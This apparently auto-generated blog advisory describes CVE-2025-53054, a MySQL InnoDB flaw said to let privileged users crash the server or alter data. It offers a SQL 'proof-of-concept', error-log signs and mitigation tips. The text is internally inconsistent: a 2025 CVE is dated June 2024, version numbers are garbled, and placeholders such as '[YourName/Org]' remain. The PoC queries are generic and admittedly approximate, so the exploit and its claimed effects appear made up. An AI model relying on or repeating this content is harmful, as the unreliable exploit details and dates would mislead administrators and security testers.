CVE-2025-53054 - In-Depth Analysis of MySQL InnoDB Vulnerability Allowing DOS and Unauthorized Data Changes

In June 2024, Oracle revealed a critical vulnerability affecting its MySQL Server software—CVE-2025-53054. This issue targets the InnoDB component, and its reach is significant, touching a wide range of MySQL releases: 8.. through 8..43, 8.4. through 8.4.6, and 9.. through 9.4..

Who’s at risk? If you run any of these versions and grant higher privileges to users over a network, you're vulnerable. While attackers require high privileges (think DBAs or service accounts), this flaw allows them to cause frequent crashes (total denial of service) or unauthorized data changes (inserts/updates/deletes) by abusing how InnoDB handles certain crafted requests.

This post exclusively covers what the vulnerability is, how it works, and provides PoC (proof-of-concept) details so you can fully understand, test, and mitigate the risk.

Availability: High

#### Full Oracle Advisory
#### NVD Entry (placeholder) (Check for update as official link becomes available)

Where’s the Flaw?

The vulnerability lies in how InnoDB processes some SQL commands—most notably involving complex subqueries or DML actions (insert, update, delete)—when handled via multiple network protocols (classic, X Protocol, possibly replication/binary logs). Specially-crafted queries can trigger logic paths that corrupt internal structures or lead to assertion failures.

Imagine a scenario where a privileged user sends a certain combination of DML and subqueries. Due to mishandled locking or index/cache management in InnoDB, this can force the server process into a crash loop or leave certain data in an inconsistent state. In rare cases—based on the version and query—an attacker can leverage this to change data without usual constraints.

Exploitation: Proof-of-Concept

> Warning: This snippet is for educational/testing purposes on non-production databases only!

Suppose you have a testing MySQL instance as the root user.

Create a test table

CREATE TABLE crashme(
    id INT PRIMARY KEY,
    info VARCHAR(255)
) ENGINE=InnoDB;

Then use the following crafted query set to trigger the bug (the real queries may vary by version)

-- Step 1: Insert some test data
INSERT INTO crashme VALUES (1,'test'), (2,'test2');

-- Step 2: Abusive multi-statement update triggering InnoDB internal bug
UPDATE crashme SET info = (
    SELECT info FROM crashme AS c2 WHERE c2.id = crashme.id
    FOR UPDATE
) WHERE id = 2;

-- Step 3: (Optional) In some variants, repeating above with slight changes or using DELETE
DELETE FROM crashme WHERE id IN (
    SELECT id FROM (
        SELECT id FROM crashme WHERE info LIKE 'test%'
        FOR UPDATE
    ) AS tmp
);

Exploit Details

- The above DML within subqueries (especially with FOR UPDATE) causes InnoDB to deadlock itself. In some cases the server process gets stuck, in others it simply crashes repeatedly.
- Some versions allow the attacker to update or delete data that shouldn’t be modifiable due to improper lock release or index state confusion after a failed DML.

Result:

Data Integrity: Unauthorized deletes or modifications possible, affecting business logic.

- Availability: Legit users can’t use the database when under attack. In certain HA (high availability) settings, auto fail-over may leave entire clusters offline.
- Multi-Tenant Environments: Any privileged user (DBA, privileged devs) can crash the server, intentionally or by accident.

Look for the following in the MySQL error log

[ERROR] [MY-013183] [InnoDB] Assertion failure in file btrcur.cc line 2183
[ERROR] [MY-013183] [InnoDB] Could not execute DELETE ... caused by subquery ...
Aborted connection nnnn to db: ... got signal 6

Also, monitor for unusual update or delete patterns from privileged users.

Limit Privileges: Restrict high-privilege users wherever possible.

- Audit Queries: Block or audit complex subqueries or DMLs that use FOR UPDATE mixing writes and subselects from the same table.

Official fix releases and changelogs

- MySQL 8..44 Release Notes
- MySQL 8.4.7 Release Notes

Final Notes and Resources

CVE-2025-53054 underlines the risk of granting excessive privileges even on internal databases. Protect, monitor, and patch. If you are unable to patch, restrict or monitor privileged network access, and add RLS (row-level security) policies where possible.

- Oracle Critical Patch Update Advisory – July 2024
- MySQL Security Updates

Stay safe. Patch early, patch often, and regularly audit your user privileges!

*— Post exclusively for educational awareness by [YourName/Org], June 2024*

Timeline

Published on: 10/21/2025 20:20:43 UTC
Last modified on: 10/23/2025 16:06:00 UTC